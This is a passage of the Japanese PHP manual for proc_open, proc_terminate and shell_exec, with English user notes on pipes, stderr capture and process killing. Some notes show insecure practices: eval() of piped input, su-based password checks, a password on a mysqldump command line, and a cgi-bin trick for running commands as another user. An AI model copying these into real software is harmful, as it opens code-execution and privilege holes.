            $ReturnValue = "Return Code: " . $ReturnCode . "\nOutput on StdErr:\n" . $StdErr;
        }
    }
    return $ReturnValue;
}
?>
radone at gmail dot com 26-May-2008 05:26
To complete the examples below that use proc_open to encrypt a string using GPG, here is a decrypt function:

<?php
function gpg_decrypt($string, $secret) {
    $homedir = ''; // path to you gpg keyrings
    $tmp_file = '/tmp/gpg_tmp.asc' ; // tmp file to write to
    file_put_contents($tmp_file, $string);

    $text = '';
    $error = '';
    $descriptorspec = array(
        0 => array("pipe", "r"),  // stdin
        1 => array("pipe", "w"),  // stdout
        2 => array("pipe", "w")   // stderr ?? instead of a file
        );
    $command = 'gpg --homedir ' . $homedir . ' --batch --no-verbose --passphrase-fd 0 -d ' . $tmp_file . ' ';
    $process = proc_open($command, $descriptorspec, $pipes);
    if (is_resource($process)) {
        fwrite($pipes[0], $secret);
        fclose($pipes[0]);
        while($s= fgets($pipes[1], 1024)) {
          // read from the pipe
          $text .= $s;
        }
        fclose($pipes[1]);
        // optional:
        while($s= fgets($pipes[2], 1024)) {
          $error .= $s . "\n";
        }
        fclose($pipes[2]);
    }

    file_put_contents($tmp_file, '');

    if (preg_match('/decryption failed/i', $error)) {
        return false;
    } else {
        return $text;
    }
}
?>
jonah at whalehosting dot ca 02-May-2008 10:22
@joachimb: The descriptorspec describes the i/o from the perspective of the process you are opening.  That is why stdin is read: you are writing, the process is reading.  So you want to open descriptor 2 (stderr) in write mode so that the process can write to it and you can read it.  In your case where you want all descriptors to be pipes you should always use:

<?php
$descriptorspec = array(
    0 => array('pipe', 'r'), // stdin
    1 => array('pipe', 'w'), // stdout
    2 => array('pipe', 'w') // stderr
);
?>

The examples below where stderr is opened as 'r' is a mistake.

I would like to see examples of using higher descriptor numbers than 2.  Specifically GPG as mentioned in the documentation.
joachimb at gmail dot com 30-Apr-2008 08:24
I'm confused by the direction of the pipes. Most of the examples in this documentation opens pipe #2 as "r", because they want to read from stderr. That sounds logical to me, and that's what I tried to do. That didn't work, though. When I changed it to w, as in
<?php
        $descriptorspec = array(
           0 => array("pipe", "r"), // stdin
           1 => array("pipe", "w"), // stdout
           2 => array("pipe", "w") // stderr
        );

        $process = proc_open(escapeshellarg($scriptFile), $descriptorspec, $pipes, $this->wd);
...
        while (!feof($pipes[1])) {
            foreach($pipes as $key =>$pipe) {
                $line = fread($pipe, 128);
                if($line) {
                    print($line);
                    $this->log($line);
                }
            }
            sleep(0.5);
        }
...
?>

everything works fine.
jaroslaw at pobox dot sk 28-Mar-2008 02:15
Some functions stops working proc_open() to me.
This i made to work for me to communicate between two php scripts:

<?php
$abs_path = '/var/www/domain/filename.php';
$spec = array(array("pipe", "r"), array("pipe", "w"), array("pipe", "w"));
$process = proc_open('php '.$abs_path, $spec, $pipes, null, $_ENV);
if (is_resource($process)) {
    # wait till something happens on other side
    sleep(1);
    # send command
    fwrite($pipes[0], 'echo $test;');
    fflush($pipes[0]);
    # wait till something happens on other side
    usleep(1000);
    # read pipe for result
    echo fread($pipes[1],1024).'<hr>';
    # close pipes
    fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);
    $return_value = proc_close($process);
}
?>

filename.php then contains this:

<?php
$test = 'test data generated here<br>';
while(true) {
    # read incoming command
    if($fh = fopen('php://stdin','rb')) {
        $val_in = fread($fh,1024);
        fclose($fh);
    }
    # execute incoming command
    if($val_in)
        eval($val_in);
    usleep(1000);
    # prevent neverending cycle
    if($tmp_counter++ > 100)
        break;
}
?>
chris AT w3style DOT co.uk 22-Feb-2008 02:57
It took me a long time (and three consecutive projects) to figure this out.  Because popen() and proc_open() return valid processes even when the command failed it's awkward to determine when it really has failed if you're opening a non-interactive process like "sendmail -t".

I had previously guess that reading from STDERR immediately after starting the process would work, and it does... but when the command is successful PHP just hangs because STDERR is empty and it's waiting for data to be written to it.

The solution is a simple stream_set_blocking($pipes[2], 0) immediately after calling proc_open().

<?php

    $this->_proc = proc_open($command, $descriptorSpec, $pipes);
    stream_set_blocking($pipes[2], 0);
    if ($err = stream_get_contents($pipes[2]))
    {
      throw new Swift_Transport_TransportException(
        'Process could not be started [' . $err . ']'
        );
    }

?>

If the process is opened successfully $pipes[2] will be empty, but if it failed the bash/sh error will be in it.

Finally I can drop all my "workaround" error checking.

I realise this solution is obvious and I'm not sure how it took me 18 months to figure it out, but hopefully this will help someone else.

NOTE: Make sure your descriptorSpec has ( 2 => array('pipe', 'w')) for this to work.
Anonymous 27-Dec-2007 07:40
I needed to emulate a tty for a process (it wouldnt write to stdout or read from stdin), so I found this:

<?php
$descriptorspec = array(0 => array('pty'),
                        1 => array('pty'),
                        2 => array('pty'));
?>

pipes are bidirectional then
John Wehin 06-Dec-2007 10:52
STDIN STDOUT example
test.php

<?php
$descriptorspec = array(
   0 => array("pipe", "r"),
   1 => array("pipe", "w"),
   2 => array("pipe", "r")
);
$process = proc_open('php test_gen.php', $descriptorspec, $pipes, null, null); //run test_gen.php
echo ("Start process:\n");
if (is_resource($process))
{
    fwrite($pipes[0], "start\n");    // send start
    echo ("\n\nStart ....".fgets($pipes[1],4096)); //get answer
    fwrite($pipes[0], "get\n");    // send get
    echo ("Get: ".fgets($pipes[1],4096));    //get answer
    fwrite($pipes[0], "stop\n");    //send stop
    echo ("\n\nStop ....".fgets($pipes[1],4096));  //get answer

    fclose($pipes[0]);
    fclose($pipes[1]);
    fclose($pipes[2]);
    $return_value = proc_close($process);  //stop test_gen.php
    echo ("Returned:".$return_value."\n");
}
?>

test_gen.php
<?php
$keys=0;
function play_stop()
{
global $keys;
        $stdin_stat_arr=fstat(STDIN);
        if($stdin_stat_arr[size]!=0)
        {
            $val_in=fread(STDIN,4096);
            switch($val_in)
            {
            case "start\n":    echo "Started\n";
                    return false;
                    break;
            case "stop\n":    echo "Stopped\n";
                    $keys=0;
                    return false;
                    break;
            case "pause\n":    echo "Paused\n";
                    return false;
                    break;
            case "get\n":    echo ($keys."\n");
                    return true;
                    break;
            default:    echo("Передан не верный параметр: ".$val_in."\n");
                    return true;
                    exit();
            }
        }else{return true;}
}
while(true)
{
while(play_stop()){usleep(1000);}
while(play_stop()){$keys++;usleep(10);}
}
?>
php dot net_manual at reimwerker dot de 03-Jun-2006 04:47
If you are going to allow data coming from user input to be passed to this function, then you should keep in mind the following warning that also applies to exec() and system():

http://www.php.net/manual/en/function.exec.php
http://www.php.net/manual/en/function.system.php

Warning:

If you are going to allow data coming from user input to be passed to this function, then you should be using escapeshellarg() or escapeshellcmd() to make sure that users cannot trick the system into executing arbitrary commands.
Kevin Barr 06-Mar-2006 12:36
I found that with disabling stream blocking I was sometimes attempting to read a return line before the external application had responded. So, instead, I left blocking alone and used this simple function to add a timeout to the fgets function:

// fgetsPending( $in,$tv_sec ) - Get a pending line of data from stream $in, waiting a maximum of $tv_sec seconds
function fgetsPending(&$in,$tv_sec=10) {
    if ( stream_select($read = array($in),$write=NULL,$except=NULL,$tv_sec) ) return fgets($in);
    else return FALSE;
}
andrew dot budd at adsciengineering dot com 28-Dec-2005 09:55
The pty option is actually disabled in the source for some reason via a #if 0 && condition.  I'm not sure why it's disabled.  I removed the 0 && and recompiled, after which the pty option works perfectly.  Just a note.
mendoza at pvv dot ntnu dot no 21-Oct-2005 10:42
Since I don't have access to PAM via Apache, suexec on, nor access to /etc/shadow I coughed up this way of authenticating users based on the system users details. It's really hairy and ugly, but it works.

<?
function authenticate($user,$password) {
  $descriptorspec = array(
     0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
     1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
     2 => array("file","/dev/null", "w") // stderr is a file to write to
  );

  $process = proc_open("su ".escapeshellarg($user), $descriptorspec, $pipes);

  if (is_resource($process)) {
    // $pipes now looks like this:
    // 0 => writeable handle connected to child stdin
    // 1 => readable handle connected to child stdout
    // Any error output will be appended to /tmp/error-output.txt

    fwrite($pipes[0],$password);
    fclose($pipes[0]);
    fclose($pipes[1]);

    // It is important that you close any pipes before calling
    // proc_close in order to avoid a deadlock
    $return_value = proc_close($process);

    return !$return_value;
  }
}
?>
picaune at hotmail dot com 16-Oct-2005 04:51
The above note on Windows compatibility is not entirely correct.

Windows will dutifully pass on additional handles above 2 onto the child process, starting with Windows 95 and Windows NT 3.5. It even supports this capability (starting with Windows 2000) from the command line using a special syntax (prefacing the redirection operator with the handle number).

These handles will be, when passed to the child, preopened for low-level IO (e.g. _read) by number. The child can reopen them for high-level (e.g. fgets) using the _fdopen or _wfdopen methods. The child can then read from or write to them the same way they would stdin or stdout.

However, child processes must be specially coded to use these handles, and if the end user is not intelligent enough to use them (e.g. "openssl < commands.txt 3< cacert.der") and the program not smart enough to check, it could cause errors or hangs.
Kyle Gibson 05-Aug-2005 12:16
proc_open is hard coded to use "/bin/sh". So if you're working in a chrooted environment, you need to make sure that /bin/sh exists, for now.
ralf at dreesen[*NO*SPAM*] dot net 09-Jan-2004 11:49
The behaviour described in the following may depend on the system php runs on. Our platform was "Intel with Debian 3.0 linux".

If you pass huge amounts of data (ca. >>10k) to the application you run and the application for example echos them directly to stdout (without buffering the input), you will get a deadlock. This is because there are size-limited buffers (so called pipes) between php and the application you run. The application will put data into the stdout buffer until it is filled, then it blocks waiting for php to read from the stdout buffer. In the meantime Php filled the stdin buffer and waits for the application to read from it. That is the deadlock.

A solution to this problem may be to set the stdout stream to non blocking (stream_set_blocking) and alternately write to stdin and read from stdout.

Just imagine the following example:

<?
/* assume that strlen($in) is about 30k
*/

$descriptorspec = array(
   0 => array("pipe", "r"),
   1 => array("pipe", "w"),
   2 => array("file", "/tmp/error-output.txt", "a")
);

$process = proc_open("cat", $descriptorspec, $pipes);

if (is_resource($process)) {

   fwrite($pipes[0], $in);
    /* fwrite writes to stdin, 'cat' will immediately write the data from stdin
    * to stdout and blocks, when the stdout buffer is full. Then it will not
    * continue reading from stdin and php will block here.
    */

   fclose($pipes[0]);

   while (!feof($pipes[1])) {
       $out .= fgets($pipes[1], 1024);
   }
   fclose($pipes[1]);

   $return_value = proc_close($process);
}
?>
MagicalTux at FF.ST 24-Dec-2003 04:20
Note that if you need to be "interactive" with the user *and* the opened application, you can use stream_select to see if something is waiting on the other side of the pipe.

Stream functions can be used on pipes like :
 - pipes from popen, proc_open
 - pipes from fopen('php://stdin') (or stdout)
 - sockets (unix or tcp/udp)
 - many other things probably but the most important is here

More informations about streams (you'll find many useful functions there) :
http://www.php.net/manual/en/ref.stream.php
daniela at itconnect dot net dot au 16-Apr-2003 02:01
Just a small note in case it isn't obvious, its possible to treat the filename as in fopen, thus you can pass through the standard input from php like
    $descs = array (
                0 => array ("file", "php://stdin", "r"),
                1 => array ("pipe", "w"),
                2 => array ("pipe", "w")
        );
        $proc = proc_open ("myprogram", $descs, $fp);


proc_open でオープンされたプロセスを強制終了する

  • ≪ proc_open
  • shell_exec ≫
  • PHP Manual
  • プログラム実行関数
  • proc_open でオープンされたプロセスを強制終了する

proc_terminate

(PHP 5, PHP 7, PHP 8)

proc_terminate — proc_open でオープンされたプロセスを強制終了する

説明

proc_terminate ( resource $process , int $signal = 15 ) : bool

終了させる (proc_open() を用いて生成された) process にシグナルを送信します。 proc_terminate() は即座に返され、 プロセスの終了を待ちません。

proc_terminate() により、プロセスを終了させ、 他のタスクを継続することができます。proc_get_status() 関数を使用して (停止したかどうかを確認するために) プロセスをポーリングすることができます。

パラメータ

process

終了させる proc_open() リソース。

signal

このオプションパラメータは POSIX オペレーティングシステムでのみ有用です。 kill(2) システムコールを使用して、 プロセスに送信するシグナルを指定することができます。 デフォルトは SIGTERM です。

返り値

実行していたプロセスの終了状態を返します。

参考

  • proc_open() - コマンドを実行し、入出力用にファイルポインタを開く
  • proc_close() - proc_open で開かれたプロセスを閉じ、 そのプロセスの終了コードを返す
  • proc_get_status() - proc_open で開かれたプロセスに関する情報を取得する

User Contributed Notes

smcbride at msn dot com 27-Jan-2021 05:35
Just a small note so people don't have to look elsewhere

To get the list of processes or find a process by name, use
$proclist = shell_exec('ps -elF') for linux
$proclist = shell_exec('tasklist') for windows

After that, you can use php normal parsing functions to get the pid
v dot denegin at yahoo dot com 17-Dec-2013 03:47
on Windows platform proc_terminate() does not kill sub-processes that are not handling kill signals. It happens even if you call xxx.exe and call proc_terminate() the process will remain active.

The solution is instead of calling proc_terminate() is to call the user-defined kill() function (already win/unix optimized)
After that need to close all pipes and execute proc_close().

function kill($pid){
    return stripos(php_uname('s'), 'win')>-1  ? exec("taskkill /F /T /PID $pid") : exec("kill -9 $pid");
}

function killall($pids) {
    $os=stripos(php_uname('s'), 'win')>-1;
    ($_=implode($os?' /PID ':' ',$pids)) or ($_=$pids);
    return preg_match('/success|close/', $os ? exec("taskkill /F /T /PID $_") : exec("kill -9 $_"));
}

Example:

$pstatus = proc_get_status($resource);
$PID = $pstatus['pid'];

// other commands

kill($PID); // instead of proc_terminate($resource);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($resource);
csh dot spam at me dot com 20-Oct-2013 09:55
/bin/sh -c CMD will fork sh and then exec CMD.
/bin/sh -c exec CMD will NOT fork and only executes CMD.

Therefore, you can get rid of this hack by prefixing your command to "exec bla bla bla".
jerhee at ucsd dot edu 23-Feb-2008 08:08
As explained in http://bugs.php.net/bug.php?id=39992, proc_terminate() leaves children of the child process running. In my application, these children often have infinite loops, so I need a sure way to kill processes created with proc_open(). When I call proc_terminate(), the /bin/sh process is killed, but the child with the infinite loop is left running.

Until proc_terminate() gets fixed, I would not recommend using it. Instead, my solution is to:
1) call proc_get_status() to get the parent pid (ppid) of the process I want to kill.
2) use ps to get all pids that have that ppid as their parent pid
3) use posix_kill() to send the SIGKILL (9) signal to each of those child pids
4) call proc_close() on process resource

<?php
$descriptorspec = array(
0 => array('pipe', 'r'),  // stdin is a pipe that the child will read from
1 => array('pipe', 'w'),  // stdout is a pipe that the child will write to
2 => array('pipe', 'w')   // stderr is a pipe the child will write to
);
$process = proc_open('bad_program', $descriptorspec, $pipes);
if(!is_resource($process)) {
    throw new Exception('bad_program could not be started.');
}
//pass some input to the program
fwrite($pipes[0], $lots_of_data);
//close stdin. By closing stdin, the program should exit
//after it finishes processing the input
fclose($pipes[0]);

//do some other stuff ... the process will probably still be running
//if we check on it right away

$status = proc_get_status($process);
if($status['running'] == true) { //process ran too long, kill it
    //close all pipes that are still open
    fclose($pipes[1]); //stdout
    fclose($pipes[2]); //stderr
    //get the parent pid of the process we want to kill
    $ppid = $status['pid'];
    //use ps to get all the children of this process, and kill them
    $pids = preg_split('/\s+/', `ps -o pid --no-heading --ppid $ppid`);
    foreach($pids as $pid) {
        if(is_numeric($pid)) {
            echo "Killing $pid\n";
            posix_kill($pid, 9); //9 is the SIGKILL signal
        }
    }

    proc_close($process);
}

?>


シェルによりコマンドを実行し、文字列として出力全体を返す

  • ≪ proc_terminate
  • system ≫
  • PHP Manual
  • プログラム実行関数
  • シェルによりコマンドを実行し、文字列として出力全体を返す

shell_exec

(PHP 4, PHP 5, PHP 7, PHP 8)

shell_exec — シェルによりコマンドを実行し、文字列として出力全体を返す

説明

shell_exec ( string $cmd ) : string

この関数は バックティック演算子 と等価です。

注意:

Windows では、パイプがテキストモードでオープンされるため、 この出力を使ったバイナリの出力が失敗する可能性があります。 このような場合は、popen() の利用を検討してください。

パラメータ

cmd

実行するコマンド

返り値

実行されたコマンドからの出力を返します。 エラーが発生した場合やコマンドが何も出力しなかった場合は null を返します。

注意:

この関数は、エラーが発生した場合だけでなくプログラムが何も出力しなかった場合にも null を返します。 そのため、実行に失敗したかどうかをこの関数では判断できません。 プログラムの終了コードを調べる必要があるときには exec() を使いましょう。

例

例1 shell_exec() の例

<?php
$output = shell_exec('ls -lart');
echo "<pre>$output</pre>";
?>

参考

  • exec() - 外部プログラムを実行する
  • escapeshellcmd() - シェルのメタ文字をエスケープする

User Contributed Notes

Numabyte 11-Mar-2021 06:01
An important thing to consider is in some cases, like on MacOS, using "2>&1" to properly output string from exec() works well when you wrap the command in parenthesis.

For example:
WITH PARENTHESIS AROUND CMD
$cmd = "(mysqldump -h l ocalhost -u root -ppassword --databases login_practice_db > /Users/username/Desktop/testDB.sql) 2>&1";

$sys = shell_exec($cmd ); //Works and produces an error (localhost is poorly spaced on purpose)

WITHOUT PARENTHESIS AROUND CMD
 $cmd = "mysqldump -h l ocalhost -u root -ppassword --databases login_practice_db > /Users/username/Desktop/testDB.sql 2>&1";

$sys = shell_exec($cmd ); //Does nothing and goes blank as if the result were error free. Empty string.

It's interesting how shell command execution can get down to how nuanced one might need to be with string parsing.
smcbride at msn dot com 07-Dec-2020 10:47
proc_open is probably a better solution for most use cases as of PHP 7.4.  There is better control and platform independence.  If you still want to use shell_exec(), I like to wrap it with a function that allows better control.

Something like below solves some problems with background process issues on apache/php.  It also

public function sh_exec(string $cmd, string $outputfile = "", string $pidfile = "", bool $mergestderror = true, bool $bg = false) {
  $fullcmd = $cmd;
  if(strlen($outputfile) > 0) $fullcmd .= " >> " . $outputfile;
  if($mergestderror) $fullcmd .= " 2>&1";
  if($bg) {
    $fullcmd = "nohup " . $fullcmd . " &";
    if(strlen($pidfile)) $fullcmd .= " echo $! > " . $pidfile;
  } else {
    if(strlen($pidfile) > 0) $fullcmd .= "; echo $$ > " . $pidfile;
  }
  shell_exec($fullcmd);
}
pedroxam at gmail dot com 20-Mar-2019 10:50
Here is my gist to all:

function execCommand($command, $log) {

    if (substr(php_uname(), 0, 7) == "Windows")
    {
        //windows
        pclose(popen("start /B " . $command . " 1> $log 2>&1", "r"));
    }
    else
    {
        //linux
        shell_exec( $command . " 1> $log 2>&1" );
    }

    return false;
}
ricky at rocker dot com 12-Oct-2018 10:21
despite:

shell_exec("env")

returning

SHELL=/bin/bash

I simply could not get:

shell_exec("bash command <(another bash command)")

to work. I have now got it working by forcing the bash shell using:

shell_exec("bash -c \"bash command <(another bash command)\"")
smithnigelw at gmail dot com 27-Apr-2018 02:13
With PHP on Windows, if you get the 'Warning: shell_exec() [function.shell-exec]: Unable to execute' error, then you need to check the permissions on file 'C:\WINDOWS\system32\cmd.exe'. You need read/execute permission on this file.  I would recommend using the sysinternals Process Monitor 'procmon.exe' to confirm the user that is trying to run 'cmd.exe'. Filter on 'Process Name' is 'php-cgi.exe' and 'Path' ends with 'cmd.exe'. Look at the event properties for the task with the access denied error, and it will show you the 'Impersonating' user name.  This is usually the 'Internet Guest Account', often 'NT AUTHORITY\IUSR'.
alexandre dot schmidt at gmail dot com 16-Dec-2015 02:26
To run a command in background, the output must be redirected to /dev/null. This is written in exec() manual page. There are cases where you need the output to be logged somewhere else though. Redirecting the output to a file like this didn't work for me:

<?php
# this doesn't work!
shell_exec("my_script.sh 2>&1 >> /tmp/mylog &");
?>

Using the above command still hangs web browser request.

Seems like you have to add exactly "/dev/null" to the command line. For instance, this worked:

<?php
# works, but output is lost
shell_exec("my_script.sh 2>/dev/null >/dev/null &");
?>

But I wanted the output, so I used this:

<?php
shell_exec("my_script.sh 2>&1 | tee -a /tmp/mylog 2>/dev/null >/dev/null &");
?>

Hope this helps someone.
jack dot harris-7ot2j4ip at yopmail dot Com 11-Sep-2014 01:52
On Windows, if shell_exec does NOT return the result you expected and the PC is on an enterprise network, set the Apache service (or wampapache) to run under your account instead of the 'Local system account'. Your account must have admin privileges.

To change the account go to console services, right click on the Apache service, choose properties, and select the connection tab.
wally at soggysoftware dot co dot uk 10-Aug-2012 11:39
As others have noted, shell_exec and the backtick operator (`) both return NULL if the executed command doesn't output anything.

This can be worked around by doing anything like the following:

shell_exec ("silentcmd && echo ' '");

Here we're simply outputting blank whitespace if  the command succeeds - which satisfies this slightly strange issue.  From there, you can trim() the command output etc.
trev at dedicate.co.uk 21-Oct-2011 07:34
If you're trying to run a command such as "gunzip -t" in shell_exec and getting an empty result, you might need to add 2>&1 to the end of the command, eg:

Won't always work:
echo shell_exec("gunzip -c -t $path_to_backup_file");

Should work:
echo shell_exec("gunzip -c -t $path_to_backup_file 2>&1");

In the above example, a line break at the beginning of the gunzip output seemed to prevent shell_exec printing anything else. Hope this saves someone else an hour or two.
martin at intelli-gens dot com 17-Feb-2010 03:21
Also after lots of hair pulling why shell_exec didn't want to work for me I found out that in my case some things needed to be set (which normally are set by default).

the options -jo
-j means: don't recreate the paths found in the archive
-o means: always overwrite files

And I needed to specify the destination path (even though it should unzip in the same directory when not specified), this is done by -d [path]

The strange thing was that I didn't have to put these options when I would give the command on the command-line, only when I would call it with shell_exec.

So the complete command in php would be for me:

shell_exec('unzip -jo /path_to_archive/archive.zip  -d /destination_path')

And putting en echo in front will help you a lot.
it should tell you something like this:

Archive:  /path_to_zip/archive.zip
  inflating: /destination_path/file1.jpeg
  inflating: /destination_path/file2.jpeg
  inflating: /destination_path/file3.jpeg
codeslinger at compsalot dot com 13-Jan-2010 06:47
it took me a heck of a lot of head banging to finally solve this problem so I thought that I would mention it here.

If you are using Eclipse and you try to do something like

<?php

    $out = shell_exec("php -s $File");   //this fails
?>

it will always fail when run inside of the Eclipse debugger.  This happens on both Linux and Windows.  I finally isolated the problem to changes that Eclipse makes to the environment when debugging.

The fix is to force the ini setting.  If you don't need an ini then -n is sufficient.

<?php

    $out = shell_exec("php -n -s $File");   //this works
?>

Of course if you run it outside of the debugger then it works fine without the -n.   You may want to use a debug flag to control this behavior.
joelhy 08-Apr-2009 06:29
Here is a easy way to grab STDERR and discard STDOUT:
    add  '2>&1 1> /dev/null' to the end of your shell command

For example:
<?php
$output = shell_exec('ls file_not_exist 2>&1 1> /dev/null');
?>
dburles@NOSPAMgmailDOTcom 01-Feb-2009 03:07
Easy way to capture error output in windows

// we'll execute a php script as an example:
$out = shell_exec("php test.php 2> output");
print $out ? $out : join("", file("output"));

We assume in this case if the script produces output it has ran ok, the $out variable will then contain the output, if $out is empty then we read the captured error output from a file simply called 'output'.

Hope this helps someone
Rgemini 07-Jan-2009 03:46
A simple way to handle the problem of capturing stderr output when using shell-exec under windows is to call ob_start() before the command and ob_end_clean() afterwards, like this:

<?php
ob_start()
$dir = shell_exec('dir B:');
if is_null($dir)
{   // B: does not exist
    // do whatever you want with the stderr output here
}
else
{  // B: exists and $dir holds the directory listing
   // do whatever you want with it here
}
ob_end_clean();   // get rid of the evidence :-)
?>

If B: does not exist then $dir will be Null and the output buffer will have captured the message:

  'The system cannot find the path specified'.

(under WinXP, at least). If B: exists then $dir will contain the directory listing and we probably don't care about the output buffer. In any case it needs to be deleted before proceeding.
saivert at saivert dot com 12-May-2008 08:48
How to get the volume label of a drive on Windows

<?php

function GetVolumeLabel($drive) {
  // Try to grab the volume name
  if (preg_match('#Volume in drive [a-zA-Z]* is (.*)\n#i', shell_exec('dir '.$drive.':'), $m)) {
    $volname = ' ('.$m[1].')';
  } else {
    $volname = '';
  }
return $volname;
}

print GetVolumeLabel("c");

?>

Note: The regular expression assumes a english version of Windows is in use. modify it accordingly for a different localized copy of Windows.
gabekon at gmail dot com 03-Apr-2008 08:33
RE: kamermans note,

I was having a similar problem with the PATH variable when using shell_exec. Even with a hard-coded full path to a binary, I also got an error about a .so file that could not be found. After some reading up, I realized I had to set the LD_LIBRARY_PATH variable:

<?php

$command = 'export LD_LIBRARY_PATH="' . $path_to_library_dir .'"; ' . $path_to_binary;
shell_exec($command);

?>

Hope this saves someone a headache,

- G
RoBorg 08-Nov-2007 07:45
The Subversion error "svn: Can't recode string" can be caused by the locale being wrong.  Try
<?php
putenv('LANG=en_US.UTF-8');
?>
(or whatever your preferred locale is) before you call shell_exec()
kamermans at teratechnologies dot net 15-Oct-2007 08:01
I'm not sure what shell you are going to get with this function, but you can find out like this:

<?php
$cmd = 'set';
echo "<pre>".shell_exec($cmd)."</pre>";
?>

On my FreeBSD 6.1 box I get this:

USER=root
LD_LIBRARY_PATH=/usr/local/lib/apache2:
HOME=/root
PS1='$ '
OPTIND=1
PS2='> '
LOGNAME=root
PPID=88057
PATH=/etc:/bin:/sbin:/usr/bin:/usr/sbin
SHELL=/bin/sh
IFS='
'

Very interesting.  Note that the PATH may not be as complete as you need.  I wanted to run Ghostscript via ImageMagik's "convert" and ended up having to add my path before running the command:

<?php
$cmd = 'export PATH="/usr/local/bin/"; convert -scale 25%x25% file1.pdf[0] file2.png 2>&1';
echo "<pre>".shell_exec($cmd)."</pre>";
?>

ALSO, note that shell_exec() does not grab STDERR, so use "2>&1" to redirect it to STDOUT and catch it.
eric dot peyremorte at iut-valence dot fr 05-Oct-2007 02:01
I had trouble with accented caracters and shell_exec.

ex :

Executing this command from shell :

/usr/bin/smbclient '//BREZEME/peyremor' -c 'dir' -U 'peyremor%*********' -d 0 -W 'ADMINISTRATIF' -O 'TCP_NODELAY IPTOS_LOWDELAY SO_KEEPALIVE SO_RCVBUF=8192 SO_SNDBUF=8192' -b 1200 -N 2>&1

gave me that :

Videos                             D        0  Tue Jun 12 14:41:21 2007
  Desktop                            DH        0  Mon Jun 18 17:41:36 2007

Using php like that :

shell_exec("/usr/bin/smbclient '//BREZEME/peyremor' -c 'dir' -U 'peyremor%*******' -d 0 -W 'ADMINISTRATIF' -O 'TCP_NODELAY IPTOS_LOWDELAY SO_KEEPALIVE SO_RCVBUF=8192 SO_SNDBUF=8192' -b 1200 -N 2>&1")

gave me that :

  Vid  Desktop                            DH        0  Mon Jun 18 17:41:36 2007

The two lines were concatenated from the place where the accent was.

I found the solution : php execute by default the command with LOCALE=C.

I just added the following lines before shell_exec and the problem was solved :

$locale = 'fr_FR.UTF-8';
setlocale(LC_ALL, $locale);
putenv('LC_ALL='.$locale);

Just adapt it to your language locale.
Paul Cook 16-Sep-2006 11:00
The technique mentioned by Nathan De Hert below is rather insecure -- you should never leave a password lying around in a file readable by the apache user.

If you need this sort of functionality on *nix systems, have a look at the /etc/sudo file (edited with the command 'visudo'). The tag NOPASSWD allows specified commands to be run as root by another user, without needing to specify a password. It's a little extra configuration, but much more secure.
ruan at nospam dot tillcor dot com 24-Aug-2006 08:31
When following Kenneth's method for executing root scripts via the nanoweb server mentioned on this page you would most likely need to be able to run a text-mode browser like lynx and pass the php script to it (works great).

After struggling for a while (lynx kept asking me to download the file instead of executing it), I realised that I had to install php-cgi additionally and modify the nanoweb config file  to use that php interpreter instead of /usr/bin/php. (On Debian this is the CLI version).

On Ubuntu 6.06:

apt-get install php5-cgi

After editing /etc/nanoweb/nanoweb.conf and a quick restart of the web server, lynx and links will execute your PHP scripts properly.

Hope this helps somebody else out there :)

Ruan Fourie
rustleb at hotmail dot com 05-Jun-2006 01:45
For capturing stdout and stderr, when you don't care about the intermediate files, I've had better results with . . .
<?php
function cmd_exec($cmd, &$stdout, &$stderr)
{
    $outfile = tempnam(".", "cmd");
    $errfile = tempnam(".", "cmd");
    $descriptorspec = array(
        0 => array("pipe", "r"),
        1 => array("file", $outfile, "w"),
        2 => array("file", $errfile, "w")
    );
    $proc = proc_open($cmd, $descriptorspec, $pipes);

    if (!is_resource($proc)) return 255;

    fclose($pipes[0]);    //Don't really want to give any input

    $exit = proc_close($proc);
    $stdout = file($outfile);
    $stderr = file($errfile);

    unlink($outfile);
    unlink($errfile);
    return $exit;
}
?>

This isn't much different than a redirection, except it takes care of the temp files for you (you may need to change the directory from ".") and it blocks automatically due to the proc_close call.  This mimics the shell_exec behavior, plus gets you stderr.
rigsbr at yahoo dot com dot br 16-Feb-2006 06:24
If you need to execute a command without permission and could not execute it by ssh or install any extension, there is a way in Apache 1.3.x and PHP 4.
Create a file on cgi-bin directory, like this:

#!/usr/bin/php
<?
  echo shell_exec('whoami');
?>

Don't forget to set the file you created the permission to execute it. Hence, call it from browser and you will se that this script will be executed by the shell user and not the user nobody (apache default user if running a PHP script).
Ashraf Kaabi 19-Dec-2005 10:06
I've write a Full Class for Run in Background, Kill PID , check if is Running

<?php
/**
 * @author     Ashraf M Kaabi
 * @name       Advance Linux Exec
 */
class exec {
    /**
     * Run Application in background
     *
     * @param     unknown_type $Command
     * @param     unknown_type $Priority
     * @return     PID
     */
    function background($Command, $Priority = 0){
       if($Priority)
           $PID = shell_exec("nohup nice -n $Priority $Command > /dev/null & echo $!");
       else
           $PID = shell_exec("nohup $Command > /dev/null & echo $!");
       return($PID);
   }
   /**
    * Check if the Application running !
    *
    * @param     unknown_type $PID
    * @return     boolen
    */
   function is_running($PID){
       exec("ps $PID", $ProcessState);
       return(count($ProcessState) >= 2);
   }
   /**
    * Kill Application PID
    *
    * @param  unknown_type $PID
    * @return boolen
    */
   function kill($PID){
       if(exec::is_running($PID)){
           exec("kill -KILL $PID");
           return true;
       }else return false;
   }
};
?>
php [AT] jsomers [DOT] be 27-Sep-2005 06:00
<?php

/**
 * PHP Kill Process
 *
 * Sometimes, it can happen a script keeps running when it shouldn't, and it
 * won't stop after we close the browser, or shutdown the computer. Because it's
 * not always easy to use SSH there's a workaround.
 *
 * @author      Jensen Somers <php@jsomers.be>
 * @version     1.0
 */

class KillAllProcesses {
    /**
     * Construct the class
     */
    function killallprocesses() {
        $this->listItems();
    }

    /**
     * List all the items
     */
    function listItems() {
        /*
         * PS   Unix command to report process status
         * -x   Select processes without controlling ttys
         *
         * Output will look like:
         *      16479 pts/13   S      0:00 -bash
         *      21944 pts/13   R      0:00 ps -x
         *
         */
        $output =   shell_exec('ps -x');

        $this->output($output);

        // Put each individual line into an array
        $array  =   explode("\n", $output);

        $this->doKill($array);
    }

    /**
     * Print the process list
     * @param   string  $output
     */
    function output($output) {
        print   "<pre>".$output."</pre>";
    }

    /**
     * Kill all the processes
     * It should be possible to filter in this, but I won't do it now.
     * @param   array   $array
     */
    function doKill($array) {
        /*
         * Because the first line of our $output will look like
         *        PID TTY      STAT   TIME COMMAND
         * we'll skip this one.
         */
        for ($i = 1; $i < count($array); $i++) {
